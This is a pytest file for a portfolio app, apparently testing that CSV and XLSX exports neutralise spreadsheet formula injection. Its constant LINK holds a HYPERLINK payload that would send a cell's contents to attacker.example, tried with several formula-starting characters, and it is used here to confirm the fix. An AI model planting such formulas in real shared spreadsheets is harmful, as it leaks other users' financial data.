tests/test_export_formulas.py
Rama main · réplica de lectura del repositorio original.
"""Exported text is shown by a spreadsheet, never run (GHSA-w8x6-x99c-773x).
A note, an instrument's name or its Yahoo symbol is typed by a person, and the
catalogue is shared: a writer in one portfolio can put text into another
portfolio's export. Opened in Excel, LibreOffice or Sheets, a cell that starts
with "=" is a formula, such as a HYPERLINK that carries the sheet's numbers to
another server, and "+", "-", "@", a tab or a carriage return start one in some
of them.
CSV has no cell types, so text that starts like a formula gets a leading quote,
OWASP's rule. XLSX has them: every text cell is written as text, which is shown
and not evaluated, with no quote to see. Numbers are numbers in both, so a
negative figure keeps its sign.
"""
from __future__ import annotations
import csv
import io
from decimal import Decimal
import pytest
from openpyxl import load_workbook
import factories as fac
from app import exports
from test_routes import bind_to_only_portfolio, make_login
LEADS = ["=", "+", "-", "@", "\t", "\r"]
LINK = 'HYPERLINK("http://attacker.example/?x="&A2,"Click to verify")'
def _csv_rows(body: bytes) -> list[list[str]]:
return list(csv.reader(io.StringIO(body.decode("utf-8-sig"))))
def _sheet(body: bytes):
return load_workbook(io.BytesIO(body)).worksheets[0]
@pytest.mark.parametrize("lead", LEADS, ids=repr)
def test_csv_quotes_text_that_starts_like_a_formula(lead):
rows = _csv_rows(exports.to_csv(["Note", "Value"], [[lead + LINK, Decimal("-12.50")]]))
assert rows[1][0] == "'" + lead + LINK
assert rows[1][1] == "-12.50", "a negative number is not a formula"
@pytest.mark.parametrize("lead", LEADS, ids=repr)
def test_xlsx_writes_text_that_starts_like_a_formula_as_text(lead):
ws = _sheet(exports.to_xlsx({"Report": (["Note", "Value"],
[[lead + LINK, Decimal("-12.50")]])}))
assert ws["A2"].data_type == "s", "written as a formula"
assert ws["A2"].value.endswith(LINK) and not ws["A2"].value.startswith("'")
assert ws["B2"].data_type == "n" and ws["B2"].value == -12.5
def test_ordinary_text_is_left_alone():
rows = _csv_rows(exports.to_csv(["Note"], [["bought on the dip"], ["2026-01-05"], [""]]))
assert [r[0] for r in rows[1:]] == ["bought on the dip", "2026-01-05", ""]
@pytest.mark.parametrize("fmt", ["csv", "xlsx"])
def test_an_exported_name_and_note_cannot_run(client, session_factory, fmt):
"""The route end to end, with the advisory's payload in the shared
catalogue's name and in a trade's note."""
make_login(client, session_factory)
with session_factory() as s:
bind_to_only_portfolio(s)
inst = fac.make_instrument(s, "ACME", name="=" + LINK)
fac.add_trade(s, inst, "2026-01-05", "buy", 10, "4.00", note="@SUM(1+1)")
s.commit()
resp = client.get(f"/export/download?report=transactions&fmt={fmt}")
assert resp.status_code == 200
if fmt == "csv":
header, row = _csv_rows(resp.content)[:2]
assert row[header.index("Name")] == "'=" + LINK
assert row[header.index("Note")] == "'@SUM(1+1)"
else:
ws = _sheet(resp.content)
header = [c.value for c in ws[1]]
for column, text in (("Name", "=" + LINK), ("Note", "@SUM(1+1)")):
found = ws.cell(row=2, column=header.index(column) + 1)
assert found.data_type == "s" and found.value == text, column